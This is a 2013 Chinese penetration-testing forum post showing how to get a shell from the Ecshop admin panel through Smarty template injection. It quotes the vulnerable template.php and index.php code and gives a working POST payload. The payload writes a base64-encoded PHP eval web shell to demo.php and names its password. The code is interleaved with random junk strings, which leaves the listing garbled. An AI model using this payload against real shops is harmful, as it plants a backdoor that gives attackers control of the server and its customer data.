中国网络渗透测试联盟
标题:
Ecshop后台getshell
[打印本页]
作者:
admin
时间:
2013-1-11 21:33
标题:
Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
1 f3 X; `; D# a. d A8 [
1 K& r+ E5 w. K
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
4 r" f- B( F6 z5 i5 Y( s( B
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
& i" A2 f# ^- D/ H# w: y1 c
admin/template.php
' H) k- t* i! S5 @
' e9 ~& n8 [" m s
1 if ($_REQUEST['act'] == 'update_library')
; B& ?7 A3 E1 ~' f
" t, c: Z# `' Y9 V3 n, A' Z, P: T5 ^ l
2
1 g1 n, Z) h. D n8 l) }1 J" T/ c
3 b! p+ n) Q) \% H! j* i- b- Y
3 {
: Y" E; h1 \4 _) ^
7 ?8 L) |9 o, \0 V( X3 p/ h u
4 check_authz_json('library_manage');
$ a) `2 Y; P% u4 U# q- h
7 l- S# V$ ~) j$ F5 F# G" e3 F0 D
5
& U2 }5 b* |5 j& m4 n2 K
% T- E% n4 |7 S8 r1 T7 S
6 $html = stripslashes(json_str_iconv($_POST['html']));
2 a2 v3 o" |. u6 L" m- o2 }9 r- q7 ~
' o" ~8 X4 }) U$ B" }
7
& i: m" f0 \0 I& r O
: C& [' ^& j V
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
& E0 q0 B9 h$ ^) J9 z; a
. W9 d. E1 P- r" E0 x
9
8 n3 G) ~* J3 J0 q
$ V2 n8 V! {* G! d
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
* |/ a% ^& A% q c6 y" B$ k" j
8 q4 s! v# C% [2 x: x3 e
11
# |: _8 @* b p( P3 C& K) b1 Y
1 l4 f6 e) `! x# w' r6 d
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
# g) V: j8 i# p3 c
: o8 l: D4 V* ]. `" v$ s
13
7 s5 P$ D1 \6 T
0 _- ?; N, O/ h0 S1 T
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
1 ^3 N; S4 x' c9 P
# x+ z, l, u4 x2 O2 r) ~
15 {
/ y* V3 L V9 v
7 }9 w6 R2 I( s% M4 C
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
, m( \% q6 t0 T4 @5 `: A
/ D: z' ~2 m/ n4 }
17 make_json_result('', $_LANG['update_lib_success']);
) H" m/ c: g- a+ V+ w3 S. L
- v0 b7 Y: s9 @' H7 @4 C! P
18 }
7 w4 V6 q( Q2 b) ~. I
* d, D9 |) R4 }7 `! v
19 else
: a$ m9 S6 A9 {, ?& v; m) X
6 h: J0 n: m# I# ?; s% W* }5 A
20 {
4 p# Z* H9 ~7 N- I3 f
7 {3 n( e' _! E
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
! K) x$ |+ E. x2 Q' {& ^
) B3 L+ n2 A1 ^- L. a7 u
22 }
5 F& L, i; q1 A1 }; d
6 X4 H- P: [5 U+ v6 W/ X
23 }
) k) _. P) _1 Z) N% N
: W K6 [, T9 v% u0 _
那么找个比较方便调用了模板的文件
( ^. y* J! _; M5 p
index.php
2 [+ s- y2 I1 j6 i% H4 P- h* O
6 p' e; {. t1 K3 _5 B2 k' ~
1 if ($act == 'cat_rec')
5 h- M1 O I$ o1 N8 u. v
2 ^, ~ m5 [5 v
2
1 d+ S$ |. t# ?
; U% i% a5 @0 C; i2 z8 y
3 {
$ E9 ^/ A/ I" R1 p1 `: D
; o) W0 h1 ^. G2 f" f
4
- G7 N; h0 }/ Z% c' g
8 k u2 n: g" j7 n/ P2 o' i
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
3 c& q( p0 i. v2 u, R0 d
/ U, q6 H+ P; E( V! E6 ]
6
1 y" B/ z6 j+ c0 X, f# M
: T- X# r, a. e- P' F
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- p7 a0 l- Q4 V1 J9 C
5 u9 o$ P. w, s# ^ w( P
8
0 r% t F- u( a
2 w+ _6 [" {6 S0 Q4 b9 ?* W. k
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
, [9 L: d5 V5 n1 L* F, D+ Y
5 H6 X) K$ |- U- w5 W4 X) n1 K# I
10
6 F+ ?% c, z' A+ R/ C
) z1 A+ ] G4 C. t- P6 C
11 include_once('includes/cls_json.php');
# D% _& K7 l( k# ?2 K1 s
2 E& G& a+ D k
12
[5 B; ~, t0 ]9 H
! p6 f2 G" j- ^/ [/ ]
13 $json = new JSON;
! f% H( h* ~; T& u* _1 k% p
4 k6 X! Q4 [4 F
14
+ @ C* z5 h2 {5 x' ~" X6 m0 e) q: ~
9 N* r( f! O2 `
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
/ H7 u, A0 ^. w0 z r
2 o: U6 E8 Q# @- A, F3 w4 @
16
, J" h( |- m; S6 v" e
# F- ~* n, ]2 w$ i) K* |
17 $children = get_children($cat_id);
: w3 J; \) R1 a6 y
% ^1 ^. v& R" T2 d) K; w. Z
18
, Y/ ?3 l) }0 J2 K9 K* G
; V# o! m( Q5 b5 d/ x2 U6 e2 W
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
q$ A0 k2 E/ Z Y% }
x+ ]! ^* f2 e% w! j9 X
20
8 _5 A- Z3 y" l! b
& x9 y* J; g3 P! S/ l
21 $smarty->assign('cat_rec_sign', 1);
3 C* F; I6 l f5 c) e" X$ L
" D" H- P0 g2 {# N% b
22
, m! p4 C+ e3 b; S! d; m
9 f$ [* R& F+ w' U3 R
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
* j4 f) B& d: b; c
* F% d$ t! Z3 r( N% c. v4 i$ i
24
/ @* N& j- |3 b+ H
! V9 D3 \" e, Z9 j4 K/ D$ W
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
! v3 k/ @6 G# ~' ~' l
; ?7 q3 r3 [3 {" r4 `& y1 n
26
/ {3 A! V7 l# `; C. c
* _: y, s; k: O3 D7 j' u; B! A
27 echo $rec_array[$rec_type];
, I/ b/ Q, d4 S* u( h+ q
( P+ F4 T k" r- P
28
3 `& |4 V- B8 Z- E" \) M
0 v% V( w- L7 S. \
29 die($json->encode($result));
8 Z$ ?3 O4 O9 I. @- j5 m+ b. f
8 V' F- E; F0 f: ^$ x4 H1 `
30
! J- c. F" F1 n8 U
2 d1 `& E# `( ]: y% ]
31 }
; y/ e( r$ Y0 {0 E( K( u
/ S9 w8 x9 C u4 {
那么就有利用方法了
9 s \$ ?3 b6 {4 n
post包到http://localhost/ec/admin/template.php?act=update_library
$ r& w: t! ^. H" p/ }9 O! F) U
Post内容:
5 w- k7 c& W; q
@4 I% e# S* l- ]! x" d
v! _8 W- ~1 Z4 E
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
6 Z" d6 z# R+ \* z/ y1 ]3 F
9 C' X9 F0 v) _% O- A- p
然后访问http://localhost/ec/index.php?act=cat_rec
/ }' }9 i; i; v' ~1 z2 [
5 W; B1 A% \+ N' Q
shel地址:http://localhost/ec/demo.php
% \* [* J2 ?2 W C4 `
密码c
# z! M- u5 o8 ?( C: h2 W& ~
: P, l! L, m9 C) D% f1 p
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2